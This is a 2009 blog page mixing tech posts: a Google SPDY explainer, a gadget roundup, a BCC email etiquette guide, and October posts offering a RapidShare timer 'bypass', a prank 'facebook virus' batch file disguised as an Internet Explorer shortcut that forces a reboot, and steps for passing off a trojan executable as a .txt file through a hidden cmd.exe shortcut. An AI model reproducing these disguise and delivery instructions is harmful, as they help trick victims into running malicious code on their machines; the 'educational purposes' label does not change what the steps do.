Sunday, November 22, 2009

Google SPDY the herald of a faster internet

Google has already made the fastest browser with Chrome 4 - which has the fastest JavaScript execution speed - and now it intends to speed up the web even further by changing the very protocols with which we communicate with the web.

HTTP as Google points out is rather clumsy when it comes to concurrency. Currently multiple connection need to be made, and each additional connection incurs an overhead as another connection is negotiated. Google points out further problems with the HTTP protocol:

  • The communication between client and server is initiated exclusively by the client. While browsing a news site, for example, the server has no way to inform the client that a new news item is available. In websites, Ajax solves this to an extent by polling the server for updates but its inefficiency is obvious.
  • HTTP headers are becoming larger as new features are added, and currently these are passed to the client uncompressed. While the size of an individual header might be quite small, as a large number of headers are transmitted, the size piles up. By compressing the data in the headers, over time, large savings can be incurred.
  • Additionally, headers are quite redundant. Many headers remain throughout the communication with one website, and need not be transmitted repeatedly.
  • Data compression is optional. Google believes that any data transmitted between server and client should always be compressed.

Google has designed a new protocol called SPDY (pronounced SPeeDY) with which it intends to decrease the page load times to as much as 50%. Google claims that their current draft of SPDY has already accomplished this goal.

The new protocol is implemented in a layer above HTTP, and as such no changes to the current infrastructure will be required. Additionally, SPDY will require no changes by web site authors; the only changes will be to the web servers and clients.

To accomplish all this the protocol improves on HTTP adding support for the following:

  • Multiplexed requests. An unlimited number of requesters can be issues at once to the same server, over a single connection using the SPDY protocol.
  • Prioritized requests. By specifying which resources are more important, the client and server can both deliver the important content first and faster while the non-essentials can come later.
  • Compressed headers. Any web page today will have a significant number of linked resources in the form of JavaScript files, CSS style-sheets, images etc. Even 50 or 60 such elements in a page is no big number these days! As each resource is requested, the bandwidth used by the headers piles up. By compressing the headers great savings can be accomplished.

In addition to these improvements, SPDY also adds some entirely new features for server initiated connections. These server-initiated streams can deliver content to the user based on when the server chooses to rather than requiring the client to keep checking back. The server-initiated features are:

  • Server push. A new “X-Associated-Content” header informs the client that it is receiving content before it has been asked for. Google believes that this can considerably improve user experience on their first visit to a site.
  • Server hint. Instead of straightaway pushing content to the client, a new “X-Subresources” header can inform the user about resources. The header can notify the user about specific resources that it should ask for. In this case the content is not pushed to the client automatically. The client can decide on its own whether to request the specified resource(s) or not. This, Google believes, will speed up non-initial communications.


Google has tested this protocol with a modified version of Chrome which can communicate using this protocol. Their extensive tests with the top 25 websites can be seen here.

The web had to develop someday, somehow, and with a free and open entity such as a web it is sure to be difficult to take charge, yet someone has. Who else better suited to the task than Google?

Monday, November 9, 2009

Acer goes 3-D

3D Laptop

Close on the heels of the first Android laptop, Acer has announced a full-size laptop that displays 3-D content. Just put on a pair of those strange wraparound glasses, a pair of which is packed with the computer.

It is a novelty, and one that we expect will run out of gas sooner or later. But innovation is the name of the game here, and the $780 Acer 5738DG hits that mark with its TriDef 3D package, which includes the specially coated 15-inch screen and software. The TriDef app also enables 2-D to 3-D conversion in games and applications supporting DirectX 9 and above. And, yes, it comes with Windows 7.

The thinnest one

Sony claims its latest VAIO X is the world's lightest and thinnest laptop. At 655 gm and just about a half-inch thin, it is anyway setting a new benchmark in notebook technology. Despite its slender looks, the durable carbon fiber body ensures the X Series absorbs the bumps and knocks of daily use and travel.

For reinforced durability, the X features a solid state drive with no moving parts, seamless aluminium keyboard panel for structural rigidity and an 11.1" scratch-resistant widescreen display.

It has a multi-touch pad which can help zoom in and out, flip through pictures, rotate items and scroll vertically and horizontally without even touching a mouse. The X series is loaded with Windows 7 but comes at a fat price of Rs 64,990 plus.

Perfect photo scanner

Epson's latest Perfection V600 Photo Scanner has been designed for the demanding photo enthusiasts. It features a class-leading optical resolution of 6400 x 9600 dpi that provides unbeatable image quality as well as Epson's proprietary Digital ICE (Image Correction Engine) Technology that uses both hardware and software processes to remove dust and scratch marks from film and photo scans. Equipped with ReadyScan LED Technology, the scanner's LED lamp requires no warm up time. The V600 is priced at an affordable Rs 16,999 for the features it sports.

Light without power

Appliance maker Jaipan has something for power-cut hit rural, and urban, India - a bulb with a power backup. Jaipan's Magic Bulb can illuminate without power for about five hours using backup power saved in its battery. The bulb consumes only 1.6 watt and gives out illumination of 9 watt. The Magic Bulb is priced Rs 350.

Sunday, October 4, 2009

Bypass rapidshare download timer - Procedure

The count down timer:

This is one of the best method to bypass rapidshare download timer.

1. Click the RapidShare download link

2. To start the download click on the free button at the bottom of the screen.

3. Copy and paste this code in to the web browser url bar:

javascript:alert(c=0)


You can also bookmark this by doing the normal bookmark/fav process and then just entering that code instead of the website.

4. Press enter

This should set the timerlimit to zero. it is also possible to Add that link to your Favorites/bookmarks.

How to make a facebook virus

1) Open notepad
2) Type this in :

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c " SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ..........."


3) Save it as something.bat
4)Right click on Internet Explorer .bat and click Create Shortcut
5)Right click on shorcut and click Properties.
6) Click Change Icon
7.Choose Internet Explorer icon or similar , click OK , then click Apply

Now your facebook virus is almost ready


8).Delete real shortcut and replace it with fake . When victim click on it , he will get warning messages that looks like this:

How to send a trojan horse virus as txt file

1. First of all You have to download the TEXT ICON PACK .
You can Download It From Below:

Download

2. Extract the Icon Pack to Obtain the Text Icons.

3. Open a new file, Right click - New - Shortcut
Type the location of the item: "X:\WINDOWS\system32\cmd.exe /c file.txt" (where stands for "X"=Drive)



and name it "Readme.txt" (without quotes)

4. After creating the readme.txt file right click on it and choose - Properties
in the - "Start in" fill - "%currentdir%" , in the - "Run" choose - "Minimized".



5. Then change the icon with one of the TXT icons from the pack by right clicking the readme.txt file then -
Properties - Change Icon...

6. In order to execute a file you need one..
just change your Server/Virus extension to .TXT and name it - "file.txt"

Now you have a .TXT Shortcut and .TXT Executable, when opening the txt shortcut it opens a command
- "C:\WINDOWS\system32\cmd.exe /c test.txt" that executes the file you want.

7. Now the readme.txt executes a command window, in order to hide it Right click on the "readme.txt" and choose - Properties - Layout and reduced the size on the window to height=1 and width=1.
Now change the window position to height=999 and width=999.

8. Now you are ready to sent a trojan as a txt file..


Warning:This post How to sent a trojan virus in a txt file is for educational purposes

Wednesday, September 9, 2009

Use BCC field when addressing mass mail

PLEASE READ and become a better E-mail user. This information is intended not only to make you a neater "E-mailer" but one that is more considerate and more thoughtful. Your friends will be thankful!.

Would you write your friends' phone numbers on the walls of public places? I didn't think so. Then why would you share their private E-mail addresses with a group of strangers when you know that many of whom will CARELESSLY forward the same addresses to even more strangers? DON'T DO IT! Instead, use your E-mail program'S BCC feature.

BCC means Blind Carbon Copy. It provides a way of addressing messages to more than one person so that everyone's address is not displayed for all to see. ALL email programs, including the web-based email services, allow you to address messages using BCC. In other words you can "BCC" one or more recipients when sending a message. Some require that you provide at least one address in the TO: field before sending. If this is the case with your email client (program, application), place YOUR OWN email address in the TO: field. Keep your recipients' addresses in the BCC field.

WHY:

  • Using BCC protects your recipients' private email addresses from being spread to strangers (from being released into the public domain.)
  • Using BCC helps prevent SPAM.
  • When using BCC, messages are easier on your readers because the messages contain less text to sift through. The cleaner the message, the easier it is to read.
  • Because the messages contain less text, they're smaller and require less bandwidth. They will download faster.
  • Using BCC shows your consideration of others by not publishing hundreds of your contacts to strangers (and potentially, SPAMMERS or maybe even stalkers.)

HOW:

  • In most email clients, the BCC field is very apparent and obvious. While in a new message in AOL's web mail, click BCC. In Gmail and Yahoo Mail!, click add BCC. In Hotmail, click Show Cc & Bcc.
  • In Outlook and Outlook express, it's not so obvious but turning it on is a one-time event.
  • To activate the BCC field in Outlook Express, create a new message and choose View, All Headers.
  • To activate the BCC field in MS-Outlook, create a new message and choose View, BCC.
  • Lotus Notes - the BCC field is right there. Nothing to "turn on", no hoops to jump through, just use it!

Am I missing anything important?

Your comments are always appreciated.